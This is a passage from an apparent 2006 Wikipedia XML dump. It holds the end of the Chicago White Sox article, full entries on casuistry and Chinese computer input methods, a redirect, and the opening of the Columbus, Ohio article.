In 1964, the primary color went back to navy blue, and the road uniforms changed from gray to pale blue.  In 1971, the team's primary color changed from navy blue to red, with the color of their pinstripes and caps changing to red.

In 1976 the team's uniforms changed again.  The team's primary color changed back from red to navy. The team based their uniforms on a style worn in the early days of the franchise, with white jerseys worn at home, blue on the road.  The team also had the option to wear blue or white pants with either jersey.  Additionally the teams &quot;SOX&quot; logo was changed to a modern-looking &quot;SOX&quot; in a bold font, spelled across.  Finally the team's logo featured a silhouette of a batter over the words &quot;CHICAGO WHITE SOX&quot;, piled on top of each other.

The new uniforms also featured collars and were designed to be worn untucked - both unprecedented wrinkles. Yet by far the most unusual wrinkle was the option to wear shorts, which the White Sox did for one game against the [[Kansas City Royals]] in 1976. After being ridiculed by fans and pundits, and [[George Brett (baseball)|George Brett]] calling the White Sox &quot;the sweetest team we have ever played,&quot; the White Sox retired the shorts. The [[Hollywood Stars]] of the [[Pacific Coast League]] had tried the same concept at one time, and it was also poorly received. Apart from aesthetic issues, as a practical matter shorts are not conducive to sliding, due to the likelihood of significant abrasions.

Upon taking over the team in 1980 new owners [[Eddie Einhorn]] and [[Jerry Reinsdorf]] announced a contest where fans were invited to create new uniforms for the White Sox.  The winning entry was submitted by a fan where the word &quot;SOX&quot; was written across the front of the jersey, in the same font as a cap, inside of a large blue stripe trimmed with red.  The red and blue stripes were also on the sleeves, and the road jerseys were gray to the home whites.  It was in those jerseys that the White Sox won 99 games and the AL West championship in 1983 with 99 wins, the best record in the majors.

After five years those uniforms were retired and replaced with a more basic uniform which had &quot;White Sox&quot; written across the front in script, with &quot;Chicago&quot; on the front of the road jersey.  The cap logo was also changed to a cursive &quot;C&quot;, although the batter logo was retained for several years.

Prior to the closing of original Comiskey Park in 1990, the White Sox switched uniform styles one more time.  In September, the old English &quot;SOX&quot; logo (a slightly simplified version of the 1949 logo) was restored, the pinstripes were restored, and the team's primary color changed back to black -- this time with silver trim.  With minor modifications (i.e., occasionally wearing vests, black game jerseys) the White Sox have used this style ever since.

==Rivalries and fan base==
The [[Minnesota Twins]] and [[Cleveland Indians]] both have divisional rivalries with the White Sox, and the three teams have recently contended for the AL Central division championship. The [[Detroit Tigers]] and [[Kansas City Royals]] are also central division teams that play the White Sox thoughout the season.

The [[Chicago Cubs]] are the [[White Sox-Cubs rivalry|crosstown rivals]] of the White Sox, although the nature of the rivalry is unique; with the exception of the [[1906 World Series]], in which the White Sox upset the heavily favored Cubs, the teams never met in an official game until [[1997 in baseball|1997]], when interleague play was introduced. In the intervening time, the two teams sometimes met for exhibition games.  While there are other major league cities and metropolitan areas in which two teams co-exist, all of the others feature at least one team which began playing there in [[1961 in baseball|1961]] or later, whereas the Sox and Cubs have been competing for their city's fans since [[1901 in sports|1901]]. Current popular perception is that the Cubs are, and always have been, the local favorites; however, the teams have actually competed fairly equally for local fans for much of their co-existence. Through 2005, the Cubs have drawn greater attendance 60 times, and the White Sox 45 times &amp;ndash; but the difference is primarily a recent effect, as the White Sox have only outdrawn the Cubs twice since 1984 (1991-92, the first two years after the current ballpark opened). The Cubs' attendance advantage in the last two decades can largely be attributed to the fact that their games began being broadcast nationally on [[WGN-TV|WGN]] in 1978, creating a national following for the team and establishing [[Wrigley Field]] as a tourist destination, while the White Sox only returned to WGN in 1990 after a 22-year absence. (The [[Tribune Company]], parent company of WGN, purchased the Cubs in 1981. Additionally, far fewer Sox games were shown on WGN after their return to the station.) As Chicago's south side and suburbs are roughly equal in population to those on the north side, the ''local'' fan bases of the two teams may be similar in size.

Many Sox fans also attribute much of the current Cubs attendance advantage to long-standing animosity between Sox fans and the current team ownership, which has alienated the team's following with a long series of unpopular moves, beginning with the 1981 firing of beloved announcers [[Jimmy Piersall]] and [[Harry Caray]] for being too critical of the team; Caray was immediately hired by the Cubs, who embraced his personality rather than stifling it, and turned him into a national icon. While Cubs attendance in 1981 had fallen below 10,000 per game, in Caray's first season attendance per game almost doubled (even though the Cubs finished 16 games below .500), and in 1983 the team enjoyed the 7th-highest attendance in its history despite falling 20 games under .500; in 1984, the team drew 2 million fans for the first time, a mark it has failed to reach in only one full season since then. On the south side, in contrast, White Sox management's threats to move the team to [[Tampa Bay, Florida|Tampa Bay]] in the late 1980s, banishment of fan favorite [[Andy the Clown]] from the ballpark, and significant role in the [[1994 baseball strike|1994 strike]], all further demoralized the fan base. Roster moves, such as trading [[Harold Baines]] in 1989, the release of [[Carlton Fisk]] during a road trip one day after he broke the record for career games as a catcher, the notorious 1997 &quot;White Flag&quot; trade, and not re-signing [[Robin Ventura]] in 1998, also contributed to fan hostility, as did the introduction of a new ballpark which many observers found cold, unappealing and antiseptic.

==Quick facts==
:'''Founded:''' [[1893 in sports|1893]], as the [[Sioux City, Iowa]] franchise in the minor [[Western League (U.S. baseball)|Western League]]. Moved to [[St. Paul, Minnesota]] in [[1895 in sports|1895]], then to Chicago in [[1900 in sports|1900]] when that league was renamed the [[American League]], and which became a major league in [[1901 in sports|1901]].
:'''Formerly known as:''' Sioux City Cornhuskers, 1894. St. Paul Saints, 1895-1899. &quot;White Sox&quot; is short for &quot;White Stockings&quot;.
:'''Home ballpark:''' The previous home field in St. Paul was [[Lexington Park]].
:'''Uniform colors:''' black, silver, and white
:'''Logo design:''' the letters &quot;SOX&quot;, interlocked in various ways
:'''Fight Song:''' &quot;[[Let's Go, Go-Go White Sox]]&quot; by [[Captain Stubby and the Buccaneers]]
:'''All-time regular season record (through 2005)''': 8210 wins - 8020 losses - 101 ties - 3 no-decision
:'''Name in Spanish:''' ''Medias Blancas''

==[[Baseball Hall of Fame]]rs==
*[[Luis Aparicio]], SS, 1956-62, 1968-70
*[[Luke Appling]], SS, 1930-43, 1945-50
*[[Chief Bender]], P, 1925
*[[Steve Carlton]], P, 1986
*[[Eddie Collins]], 2B, 1915-26
*[[George Davis (baseball player)|George Davis]], SS 1902, 1904-09
*[[Larry Doby]], OF 1956-57, 1959; Manager, 1978
*[[Johnny Evers]], 2B, 1922
*[[Red Faber]], P, 1914-33
*[[Carlton Fisk]], C,  1981-93
*[[Nellie Fox]], 2B, 1950-63
*[[Clark Griffith]], P-Manager, 1901-02
*[[Harry Hooper]], OF, 1921-25
*[[George Kell]], 3B, 1954-56
*[[Ted Lyons]], P, 1923-42, 1946
*[[Edd Roush]], OF 1913
*[[Red Ruffing]], P 1947
*[[Ray Schalk]], C, 1912-28
*[[Tom Seaver]], P, 1984-86
*[[Al Simmons ]], OF, 1933-35
*[[Ed Walsh]], P, 1904-16
*[[Hoyt Wilhelm]], P, 1963-68
*[[Early Wynn]], P, 1958-62

==Current roster==
{{:Chicago White Sox roster}}

==Minor league affiliations==
* '''AAA:''' [[Charlotte Knights]], [[International League]]
* '''AA:''' [[Birmingham Barons]], [[Southern League]]
* '''Advanced A:''' [[Winston-Salem Warthogs]], [[Carolina League]]
* '''A:''' [[Kannapolis Intimidators]], [[South Atlantic League]]
* '''Rookie:''' [[Bristol White Sox|Bristol Sox]], [[Appalachian League]]
* '''Rookie:''' [[Great Falls White Sox]], [[Pioneer League]]

==See also==
*[[List of Chicago White Sox players and managers]]
*[[List of Chicago White Sox people]]
*[[List of Chicago White Sox award winners and league leaders|White Sox award winners and league leaders]]
*[[List of Chicago White Sox team records|White Sox statistical records and milestone achievements]]
*[[List of Major League Baseball franchise post-season droughts]]
*[[List of Chicago White Sox broadcasters|White Sox broadcasters and media]]
*[[List of Chicago White Sox managers and ownership|White Sox managers and ownership]]
*[[White Sox-Cubs rivalry]]
*[[Disco Demolition Night]] - a notoriously failed 1979 promotion
*[[2005 World Series]]
*[[1959 World Series]]
*[[1919 World Series]]
*[[1917 World Series]]
*[[1906 World Series]]

==External links==
===[[Major League Baseball|MLB]]-affiliated sites===
*[http://www.whitesox.com/ Chicago White Sox] - official site
*[http://whitesoxpride.mlblogs.com/ Inside the White Sox (MLBlogs)] - [[blog]] by Scott Reifert, team Vice President of Communications
*[http://www.baseballhalloffame.org/teams/AL/whitesox.htm National Baseball Hall of Fame: Chicago White Sox]
*[http://chicago.whitesox.mlb.com/NASApp/mlb/fan_forum/index.jsp?c_id=cws White Sox fan forum]
*[http://chicago.whitesox.mlb.com/NASApp/mlb/cws/history/index.jsp White Sox history]
*[http://chicago.whitesox.mlb.com/NASApp/mlb/news/index.jsp?c_id=cws White Sox news]
*[http://chicago.whitesox.mlb.com/NASApp/mlb/schedule/index.jsp?c_id=cws White Sox schedule]

===Independent and [[Fan (aficionado)|fan]] sites===
*[http://www.baseball-reference.com/teams/CHW/ Baseball-reference.com: Chicago White Sox team index] - year-by-year franchise index
*[http://www.all-baseball.com/exile/ Exile in Wrigleyville (all-baseball.com)] - Vince Galloro's blog
*[http://www.futuresox.com FutureSox.com] - White Sox [[minor league baseball|minor league]] news
*[http://whitesox.scout.com/ Scout.com] - fan message forums
*[http://www.southsiders.net SouthSiders.net] - online fan community
*[http://www.southsidesox.com South Side Sox] - The Cheat's blog
*[http://soxmachine.com/blogs/soxmachine/ Sox Machine] - Jim Margalus' blog
*[http://www.soxtalk.com Soxtalk.com] - fan message forums
*[http://www.athomeplate.com/whitesox/ The Sox Therapist] - Dr. Rob's blog
*[http://www.sportsecyclopedia.com/al/chisox/whitesox.html Sports E-Cyclopedia]
*[http://www.whitesoxinteractive.com White Sox Interactive (FlyingSock.com)] - online fan community
*[http://whitesox.mostvaluablenetwork.com/ Winning Ugly (Most Valuable Network)] - Blake Baumgartner and Mario Scalise's blog

{{MLB}}

[[Category:Chicago culture|White Sox]]
[[Category:Chicago White Sox|*]]
[[Category:Major League Baseball teams]]

[[da:Chicago White Sox]]
[[de:Chicago White Sox]]
[[fr:White Sox de Chicago]]
[[ja:シカゴ・ホワイトソックス]]
[[sv:Chicago White Sox]]
[[zh:芝加哥白襪]]</text>
    </revision>
  </page>
  <page>
    <title>Casuistry</title>
    <id>5946</id>
    <revision>
      <id>37214773</id>
      <timestamp>2006-01-29T14:31:18Z</timestamp>
      <contributor>
        <ip>83.108.181.174</ip>
      </contributor>
      <text xml:space="preserve">'''Casuistry'''  (argument by cases) is an attempt to determine the correct response to a [[moral]] [[problem]], often a [[moral dilemma]], by drawing conclusions based on parallels with agreed responses to pure cases, also called [[paradigm]]s. Casuistry is a method of ethical [[case analysis]]. Used with a negative connotation, ''casuistry'' refers to reasoning that is specious or hair-splitting and seen as intentionally misleading.

Casuistry is a branch of [[applied ethics]]. 
Casuistry is the basis of [[case law]] in [[common law]].
It is the standard form of reasoning applied in [[common law]].

Casuistry takes a relentlessly practical approach to morality. Rather than applying theories, it examines cases. By drawing parallels between [[paradigm]]s, so called &quot;pure cases,&quot; and the case at hand, a casuist tries to determine the correct response (not merely an evaluation) to a particular case. The selection of a paradigm case is justified by [[warrant]]s.

A particular strength of casuistry is its flexibility.  When a legal fact (or &quot;legal fiction&quot;) does not correspond to reality, the mere existence of that legal fact does not impede a rational casuistic response.  For example, casuistic reasoning would easily accept that illegally obtained evidence should still be admitted to a legal argument because the illegality of the methods used to obtain the evidence does not negate the value of the evidence itself.  The illegal methods themselves should be prosecuted, but that is a separate issue.  In contrast, a rigorous theoretical approach might find that such evidence is &quot;not real evidence,&quot; and therefore refuse to admit it to permissible reasoning.

Casuistry is successful because it does not require participants in the evaluation to agree about ethical theories or evaluations before making policy. Instead, they can agree that certain [[paradigm]]s should be treated in certain ways, and then agree on the similarities, the so-called [[warrant]]s between a paradigm and the case at hand.

Since most people, and most cultures, substantially agree about most pure ethical situations, casuistry often creates ethical arguments that can persuade people of different ethnic, religious and philosophical beliefs to treat particular cases in the same ways. For this reason, casuistry is the form of reasoning used in [[English law]].

Casuistry is prone to abuses wherever the analogies between cases are false. Often late medieval reasoning applied false analogies in casuistry, through allegorical interpretations, a mode of illogic that found support in the elaborate parallels deduced by Christians between Old Testament Law and New Testament events.

The casuistic method was popular among [[Jewish law|Rabbinic scholars]] and [[Catholicism|Catholic]] thinkers in the early modern period, especially the [[Jesuits]]. It was encouraged by the Catholic practice of [[confession]] of sins to priests, which created a demand for manuals for confessors with detailed advice on cases of [[conscience]]. Casuistry was much mistrusted by early [[Reformation|Protestant theologians]], because it justified many of the abuses that they sought to reform.  It was famously attacked by [[Blaise Pascal|Pascal]] in his [[Lettres provinciales|Provincial Letters]] as the use of overly complex reasoning to justify moral laxity; hence the everyday use of the term to mean complex reasoning to justify moral laxity.

Casuists have often been mistrusted as too self-serving, and their reasoning thought too inaccessible. The reasoning is often inaccessible because successful casuistry requires a large amount of knowledge about paradigms, and how parallels can be drawn from those paradigms to real life situations. In modern times, there is a similar tremendous resentment against lawyers and law.

In modern times, casuistry has successfully been applied to [[law]], [[bioethics]] and [[business ethics]], and its reputation is somewhat rehabilitated.

A good reference, analysing the methodological structure of casuistic argument is ''The Abuse of Casuistry: A History of Moral Reasoning'' (1990), by Albert Jonsen and Stephen Toulmin (ISBN 0520069609).

==External links==
*[http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv1-35 ''Dictionary of the History of Ideas'':] Casuistry
*[http://www.maths.unsw.edu.au/~jim/accountancy.html Accountancy as computational casuistics], article on how modern compliance regimes in accountancy and law apply casuistry

== See also ==
* [[Qiyas]]
* [[Blue Laws]]
[[Category:Ethics]]
[[Category:Common law]]

[[da:Kasuistisk ret]]
[[de:Kasuistik]]
[[sv:Kasuistik]]</text>
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  </page>
  <page>
    <title>Complex ion</title>
    <id>5947</id>
    <revision>
      <id>15904118</id>
      <timestamp>2004-08-02T05:02:04Z</timestamp>
      <contributor>
        <username>Centrx</username>
        <id>37878</id>
      </contributor>
      <minor />
      <comment>redirect to [[complex (chemistry)]]</comment>
      <text xml:space="preserve">#REDIRECT [[complex (chemistry)]]</text>
    </revision>
  </page>
  <page>
    <title>Chinese input methods for computers</title>
    <id>5948</id>
    <revision>
      <id>40817388</id>
      <timestamp>2006-02-23T05:09:45Z</timestamp>
      <contributor>
        <username>Fuzheado</username>
        <id>15130</id>
      </contributor>
      <comment>/* Combination of pronunciation and character structure */ - add unicode</comment>
      <text xml:space="preserve">&lt;!--needs to be higher--&gt;
The [[Chinese language]] uses a [[logogram|logographic]] script&amp;mdash;that is a script where one or two &quot;[[Chinese written language|character]]&quot; corresponds roughly to one &quot;word&quot; or meaning&amp;mdash;there are vastly more characters, or glyphs, than there are keys on a standard [[computer keyboard]]. Many early Chinese computers used keyboards with thousands of keys.

[[Image:Large chinese keyboard.jpg|thumb|200px|right|An experimental Chinese keyboard with many keys.]]

A variety of keyboard [[input method editor]]s or [[IME]]s have been designed to allow the input of Chinese characters using standard keyboards.

Keyboard input methods can be classified in three main types: 

* by encoding
* by pronunciation
* by structure of the characters.  

The following are just some samples of Chinese input methods.  Many of those input methods have variations.  ''Full Pinyin'' and ''Double Pinyin'' are variations of the Pinyin input method.  In addition, the methods which require the user to select a character from a menu generally have sophisticated methods for guessing which characters the user intends based on context.

Different people are most comfortable with different methods and each standard has its strengths and weaknesses.  For example, for someone who is already familiar with Pinyin pronunciation, the Pinyin method can be learned most quickly.  However, the maximum typing rate is limited, and learning the system can be difficult for those not already familiar with Pinyin's English-based phonetics. ''Wubi'' takes much effort to learn, but expert typists can enter text much faster than the phonetic methods.  Because of these factors, there is very little likelihood of a &quot;standard&quot; method evolving.  

Other means of inputting Chinese characters are not widely used but include [[stylus]] and [[tablet]], with hand-writing recognition software, as the most common alternative, and then [[Optical character recognition|OCR]] and voice recognition. As with even the most advanced [[English language]] systems, all these methods suffer from high error rates, though the error rates are an acceptable tradeoff to many users.

Yet some systems allow Chinese characters to be input by typing their equivalent English words.

== Pronunciation ==
* [[Zhuyin]] (&amp;#27880;&amp;#38899;)
* [[Pinyin method]] (&amp;#25340;&amp;#38899;)
* [[Cantonese Pinyin]] (&amp;#31908;&amp;#35821;&amp;#25340;&amp;#38899;)

== Character structure ==
* [[Cangjie method]] (倉頡; 仓颉)
* [[Simplified Cangjie]] (簡易倉頡, known as 速成 on Windows systems)
* [[CKC Chinese Input System]] (縱橫輸入法)
* [[Dayi method]] (大易)
* [[Array method]] (行列)
* [[Four corner method]] (四角碼; 四角码)
* [[Q9 method]] (九方)
* [[Shouwei method]] (首尾字型)
* [[Stroke count method]] (筆畫; 笔画)
* [[Stroke method]] (筆劃; 笔划)
* [[Wubi method]] (五筆字型; 五笔字型)
* [[Wubihua method]] (五筆畫; 五笔画)
* [[Zheng code method]] (鄭碼; 郑码)

== Combination of pronunciation and character structure ==
* [[Boshiamy method]] (嘸蝦米)
* [[Tze-loi method]] (子來; 子来)
* [[Renzhi code method]] (認知碼; 认知码)
* [[Shou-wei Hao-ma method]] (首尾號碼)

== See also ==
===Character encodings ===
''Main article: [[Chinese character encoding]]''
* [[Big5]]
* [[Guobiao code]] (GB)
* [[Neima]] (&amp;#20869;&amp;#30721;)
* [[Unicode]]
* [[Telegraph code]] (&amp;#30005;&amp;#25253;&amp;#30721;)

=== Other ===
* [[Han unification]]

== External links ==
* [http://www.slate.com/id/2136726/ What Does a Chinese Keyboard Look Like? How they type in the PRC - ''Slate.com'']
* [http://www.simo.us/ '''Sino Input Method Online''' (input Chinese without installing Chinese input methods)]
* [http://www.newconcept.com/Reference/how_input_chinese.html '''How to Input Chinese in English Windows''']
*[http://www.microsoft.com/globaldev/handson/user/IME_Paper.mspx A Microsoft article about IME]
*An [http://www.chrissimpson.com/tutorial1.html installation guide] ([[Windows XP]] IME)
*An [http://www.andante.org/ime.html IME Tutorial]


[[Category:Chinese language]]
[[Category:Logographic writing systems]]
[[category:Input methods of Han characters]]

[[fr:Méthodes d'encodage du chinois sur ordinateurs]]
[[zh:&amp;#20013;&amp;#25991;&amp;#36755;&amp;#20837;&amp;#27861;]]</text>
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  </page>
  <page>
    <title>Columbus, Ohio</title>
    <id>5950</id>
    <revision>
      <id>41941742</id>
      <timestamp>2006-03-02T19:56:40Z</timestamp>
      <contributor>
        <username>Areku</username>
        <id>517143</id>
      </contributor>
      <minor />
      <comment>Added to Placeopedia</comment>
      <text xml:space="preserve">{{Infobox City |official_name = Columbus, Ohio
|nickname = The Arch City&quot; &quot;The Discovery City
|website = http://www.cityofcolumbus.org/
|image_skyline = Columbus-ohio-skyline.jpg
|image_flag = ColumbusOH.gif
|image_seal = ColumbusOHseal.gif
|image_map = OHMap-doton-Columbus.png
|map_caption = Location in the state of [[Ohio]]
|subdivision_type = [[Countries of the world|Country]]&lt;br&gt;  [[Political divisions of the United States|State]]&lt;br&gt;  [[List of counties in Ohio|Counties]]
|subdivision_name = [[United States]]&lt;br&gt;[[Ohio]]&lt;br&gt;[[Franklin County, Ohio|Franklin]], [[Delaware County, Ohio|Delaware]], and [[Fairfield County, Ohio|Fairfield]]
|leader_title = [[Mayor]]
|leader_name =  [[Michael B. Coleman]] ([[Democratic Party (United States)|D]])
|area_magnitude = 1 E8
|area_total = 550.5
|area_land = 544.6
|area_water = 5.9
|population_as_of = 2000
|population_total = 711,470
|population_metro = 1,612,694
|population_density = 1,306.4
|timezone = [[Eastern Standard Time Zone|EST]]
|utc_offset = -5
|timezone_DST = [[Eastern Daylight Time|EDT]]
|utc_offset_DST = -4
|latd = 39
|latm = 59
|lats = 00 
|latNS = N
|longd = 82
|longm = 59
|longs = 00
|longEW = W
|elevation = 275
|footnotes =
}}

'''Columbus''' is the [[capital]] of the [[U.S. state]] of [[Ohio]].  It was founded in [[1812]] at   the confluence of the [[Scioto River|Scioto]] and [[Olentangy River|Olentangy]] rivers, and was named the state capital in [[1816]]. 

According to the [[United States 2000 Census|2000 census]], Columbus has a population of 711,470 residents, making it the largest city in Ohio and the 15th largest in the [[United States]]. This number grew to 730,008 in 2004. The greater Columbus [[United States metropolitan area|metropolitan area]] has a population of 1,612,694, ranking it third in Ohio (behind [[Cleveland, Ohio|Cleveland]] and [[Cincinnati, Ohio|Cincinnati]]) and 31st in the United States. With regard to the [[Combined Statistical Area]] (which includes [[Chillicothe, Ohio|Chillicothe]] and [[Marion, Ohio|Marion]]), Columbus ranks 24th in the country with approximately 1.84 million residents.

Located near the geographic center of the state, Columbus is the [[county seat]] of [[Franklin County, Ohio|Franklin County]], though parts of the city also extend into [[Delaware County, Ohio|Delaware]] and [[Fairfield County, Ohio|Fairfield]] counties. 

==History==
Evidence of ancient [[Mound Builders|mound-building]] societies abounds in the region near the confluence of the [[Scioto River|Scioto]] and [[Olentangy River|Olentangy]] rivers. Mound Street, located in downtown Columbus, was so named because of its proximity to a large Native American burial mound. Those ancient civilizations had long since faded into history when European explorers began moving into the region south of [[Lake Erie]]. Rather than an empty [[frontier]], however, they encountered people of the [[Miami tribe|Miami]], [[Lenape|Delaware]], [[Wyandot]], [[Shawnee (tribe)|Shawnee]], and [[Mingo (tribe)|Mingo]] nations. These tribes resisted expansion by the fledgling United States, resulting in years of bitter conflict. A decisive battle at [[Battle of Fallen Timbers|Fallen Timbers]] resulted in the [[Treaty of Greenville]], which finally opened the way for new settlements. By [[1797]], a young [[Surveying|surveyor]] from [[Virginia]] named Lucas Sullivant had founded a permanent settlement on the west bank of the forks of the Scioto River.  A great admirer of [[Benjamin Franklin]], Sullivant chose to name his new frontier village &quot;Franklinton.&quot;

===19th century===
After achieving statehood in [[1803]], political infighting among Ohio's more prominent leaders resulted in the state [[capital]] moving from [[Chillicothe, Ohio|Chillicothe]] to [[Zanesville, Ohio|Zanesville]] and back again.  The state legislature eventually decided that a new capital city, located in the center of the state, was a necessary compromise. Several of Ohio's small towns and villages petitioned the legislature for the honor of becoming the state capital, but ultimately a coalition of land speculators, with Sullivant's support, made the most attractive offer to the [[Ohio General Assembly]]. Named in honor of [[Christopher Columbus]], the capital city was founded in February, [[1812]], on the &quot;High Banks opposite Franklinton at the Forks of the Scioto known as Wolf's Ridge.&quot;

The [[National Road]] reached Columbus from [[Baltimore]] in [[1831]], which complemented the city's new link to the [[Ohio and Erie Canal]] and facilitated a population boom.  A wave of immigrants from Europe resulted in the establishment of two ethnic [[enclaves]] on the outskirts of the city.  A significant [[Ireland|Irish]] population settled in the north along Naghten Street (presently Nationwide Boulevard), while the [[Germany|Germans]] took advantage of the cheap land to the south, creating a community that came to be known as [[German Village|''Die Alte Sud Ende'']] (The Old South End). Columbus' German population is responsible for constructing numerous breweries, the Lutheran Theological [[Seminary]], [[Capital University]], and instituting the first [[kindergarten]] in the United States.

On January 7, [[1857]], the [[Ohio Statehouse]] was finally opened to the public after eighteen years of construction. During the [[American Civil War|Civil War]], Columbus was the home of Camp Chase, a major base for the [[Union Army]] that housed 26,000 troops and held up to 9,000 [[Confederate States Army|Confederate]] [[prisoners of war]].  Over 2,000 Confederate soldiers remain buried at the site, making it one of the largest Confederate cemeteries in the North. By virtue of the [[Morrill Land-Grant Colleges Act]], the [[Ohio State University|Ohio Agricultural and Mechanical College]] was founded in [[1870]] on the former estate of William and Hannah Neil.

By the end of the 19th century, Columbus saw the rise of several major [[manufacturing]] businesses. The city became known as the &quot;Buggy Capital of the World,&quot; thanks to the presence of some two dozen [[Carriage|buggy]] factories, notably the Columbus Buggy Company, which was founded in [[1875]] by [[Harvey Firestone]]. The Columbus Consolidated Brewing Company also rose to prominence during this time, and it may have achieved even greater success were it not for the influence of the [[Anti-Saloon League]], based in neighboring [[Westerville, Ohio|Westerville]]. In the steel industry, a forward-thinking man named [[Samuel P. Bush]] presided over the Buckeye Steel Castings Company. Columbus also served as a popular location for the organization of labor. In [[1886]] [[Samuel Gompers]] founded the [[American Federation of Labor]] in Druid's Hall on S. Fourth Street, and in [[1890]] the [[United Mine Workers of America]] was founded at old City Hall.

===20th century===
[[Image:AUT 0348.JPG|thumb|250px|right|Street arches returned to the [[Short North]] in late 2002]]
Columbus earned its reputation as &quot;The Arch City&quot; because of the dozens of metal (formerly wooden) arches that spanned High Street at the turn of the 20th Century. The arches illuminated the thoroughfare and eventually became the means by which electric power was provided to the new [[Tram|streetcars]]. Then, on March 25, [[1913]], a catastrophic flood devastated the neighborhood of Franklinton, leaving ninety-six people dead and thousands of West Side residents homeless. To prevent future flooding, the [[United States Army Corps of Engineers|Army Corps of Engineers]] recommended widening the Scioto River through downtown, constructing new bridges, and building a retaining wall along its banks. With the strength of the post-[[World War I|WWI]] economy, a construction boom occurred in the 1920s, resulting in a new Civic Center, the [[Ohio Theatre]], the [[LeVeque Tower|American Insurance Union Citadel]], and to the north, a massive new [[Ohio Stadium]].

The effects of the [[Great Depression]] were somewhat less severe in Columbus, as the city's diversified economy helped it fare marginally better than its [[Rust Belt]] neighbors. [[World War II]] brought a tremendous number of new jobs to the city, and with it another population surge. This time, the majority of new arrivals were migrants from the extremely depressed rural parts of [[Appalachia]], who would soon account for more than a third of Columbus' rising population. In [[1948]], the Town and Country Shopping Center opened in suburban [[Whitehall, Ohio|Whitehall]], and it is now regarded as one of the first modern [[shopping mall|shopping centers]] in the United States. Along with the construction of the [[interstate highway]], it signaled the arrival of rapid [[Suburb|suburban]] development in central Ohio. In order to protect the city's tax base from this [[suburbanization]], Columbus adopted a policy of linking sewer and water hookups to [[annexation]] to the city. By the early 1990s, Columbus had grown to become Ohio's largest city in both land area and in population.

Efforts to revitalize [[Central Business District|downtown]] Columbus have met with mixed results in recent decades. In the 1970's old landmarks such as Union Station and the Neil House Hotel were razed to construct high-rise office and retail spaces, notably [[Columbus City Center]] and the Greater Columbus Convention Center. However, newer suburban developments at Tuttle Crossing, [[Easton Town Center|Easton]], and [[Polaris Fashion Place|Polaris]] have inhibited much of the anticipated downtown growth. Still, with the addition of the [[Nationwide Arena|Nationwide Arena District]] as well as hundreds of downtown residential units, it is clear that Columbus looks to ensure a successful future by bolstering the strength of its core.

[[Image:Columbus Ohio Skyline.jpg|thumb|280px|Skyline of downtown Columbus, Ohio, viewed across the [[Scioto River]].]]

==Geography==
According to the [[United States Census Bureau]], the city has a total area of 550.5 [[square kilometre|km²]] (212.6 [[square mile|mi²]]).  544.6 km² (210.3 mi²) of it is land and 5.9 km² (2.3 mi²) of it is water.  The total area is 1.07% water.  Unlike many other major US cities in the [[Midwest]], Columbus continues to expand its reach by way of extensions and [[annexation|annexations]], making it one of the fastest growing large cities in the nation, in terms of both geography and population, and probably the fastest in the [[Midwest]]. Unlike [[Cleveland]] and [[Cincinnati]], the central cities in Ohio's two largest metropolitan areas, Columbus is ringed by relatively few suburbs; since the [[1950s]] it has made [[annexation]] a condition for providing water and sewer service, to which it holds regional rights throughout a large portion of Central Ohio. This policy is credited with preserving Columbus' tax base in the face of the U.S.'s suburbanization and has contributed to its booming economy, much like other cities pursuing similar policies such as [[Charlotte, North Carolina]] and [[San Antonio, Texas]], both of which are similarly lacking in surrounding incorporated suburbs.

The confluence of the [[Scioto River|Scioto]] and [[Olentangy River|Olentangy]] rivers occurs just west of downtown Columbus.  Several smaller tributaries course through the Columbus metro area, including Alum Creek, Big Walnut Creek, and Darby Creek.  By and large, Columbus has relatively flat [[topography]] thanks to a large [[glacier]] that covered most of Ohio during the [[Wisconsin glaciation|Wisconsian Ice Age]], but numerous ravine areas near the rivers and creeks help give some variety to the landscape. The region is dominated by a [[humid continental]] climate, characterized by hot, muggy summers and cold, dry winters.  The highest temperature ever recorded in Columbus was 106°F (41°C), which occured twice during the &quot;[[Dust Bowl]] [[drought]] of the 1930's - once on July 21, 1934, and again two years later, on July 14, 1936.  The coldest was -22°F (-30°C), occurring January 19, 1994.  As far as trees, [[deciduous]] trees are common, including [[maple]], [[oak]], [[hickory]], [[walnut]], [[poplar]], [[cottonwood]], and of course, [[Ohio buckeye|buckeye]].

===Cityscape===
''See also: [[List of Central Ohio Suburbs]]''

Columbus also has a number of distinctive neighborhoods within the metro area. The [[Short North]], situated just north of downtown, is rich with [[art gallery|art galleries]], fine dining, pubs, and specialty shops. A number of large, ornate [[Queen Anne style|Victorian]] homes are located nearby, and together they comprise [[Victorian Village]]. To the south, [[German Village]] is known for its quaint 19th century brick cottages, and it holds the distinction as the largest privately funded historic district on the [[National Register of Historic Places]]. Franklinton, sometimes known as &quot;the Bottoms&quot;, is the neighborhood immediately west of downtown. It gets its colorful nickname due to the fact that much of the land lies below the level of the Scioto and Olentangy rivers, and a floodwall is required to contain the rivers and protect the area from devastating floods. Just to the west of Franklinton is a group of smaller neighborhoods commonly referred to as &quot;[[The Hilltop]].&quot;

The [[Ohio State University|OSU Campus]] area is populated by a high concentration of students during the school year (perhaps as many as 50,000) and features many old homes which have been converted to apartments for student use.  The stretch of High Street that runs through the campus area caters to the student body with its abundance of dive bars, sandwich shops, and bookstores. Located between OSU and Worthington is [[Clintonville]], where a mix of middle class [[Levittown]]-type homes can be found alongside beautiful old stone and brick-faced houses nestled among rolling hills.  Further west of downtown, [[San Margherita, Ohio|San Margherita]] is a community formed by Italian immigrants who arrived at the turn of the 20th century.

